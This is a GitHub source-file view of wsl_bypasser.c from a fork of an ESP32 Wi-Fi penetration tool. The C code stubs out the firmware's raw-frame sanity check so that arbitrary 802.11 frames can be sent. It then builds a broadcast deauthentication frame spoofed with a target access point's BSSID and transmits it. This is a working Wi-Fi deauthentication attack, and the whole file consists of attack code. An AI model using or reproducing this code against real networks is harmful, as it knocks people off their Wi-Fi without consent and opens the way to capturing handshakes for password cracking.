forked from risinek/esp32-wifi-penetration-tool
-
Notifications
You must be signed in to change notification settings - Fork 0
/
wsl_bypasser.c
59 lines (52 loc) · 1.79 KB
/
wsl_bypasser.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/**
* @file wsl_bypasser.c
* @author risinek ([email protected])
* @date 2021-04-05
* @copyright Copyright (c) 2021
*
* @brief Implementation of Wi-Fi Stack Libaries bypasser.
*/
#include "wsl_bypasser.h"
#include <stdint.h>
#include <string.h>
#define LOG_LOCAL_LEVEL ESP_LOG_DEBUG
#include "esp_log.h"
#include "esp_err.h"
#include "esp_wifi.h"
#include "esp_wifi_types.h"
static const char *TAG = "wsl_bypasser";
/**
* @brief Deauthentication frame template
*
* Destination address is set to broadcast.
* Reason code is 0x2 - INVALID_AUTHENTICATION (Previous authentication no longer valid)
*
* @see Reason code ref: 802.11-2016 [9.4.1.7; Table 9-45]
*/
static const uint8_t deauth_frame_default[] = {
0xc0, 0x00, 0x3a, 0x01,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf0, 0xff, 0x02, 0x00
};
/**
* @brief Decomplied function that overrides original one at compilation time.
*
* @attention This function is not meant to be called!
* @see Project with original idea/implementation https://github.com/GANESH-ICMC/esp32-deauther
*/
int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
return 0;
}
void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size){
ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, frame_buffer, size, false));
}
void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record){
ESP_LOGD(TAG, "Sending deauth frame...");
uint8_t deauth_frame[sizeof(deauth_frame_default)];
memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default));
memcpy(&deauth_frame[10], ap_record->bssid, 6);
memcpy(&deauth_frame[16], ap_record->bssid, 6);
wsl_bypasser_send_raw_frame(deauth_frame, sizeof(deauth_frame_default));
}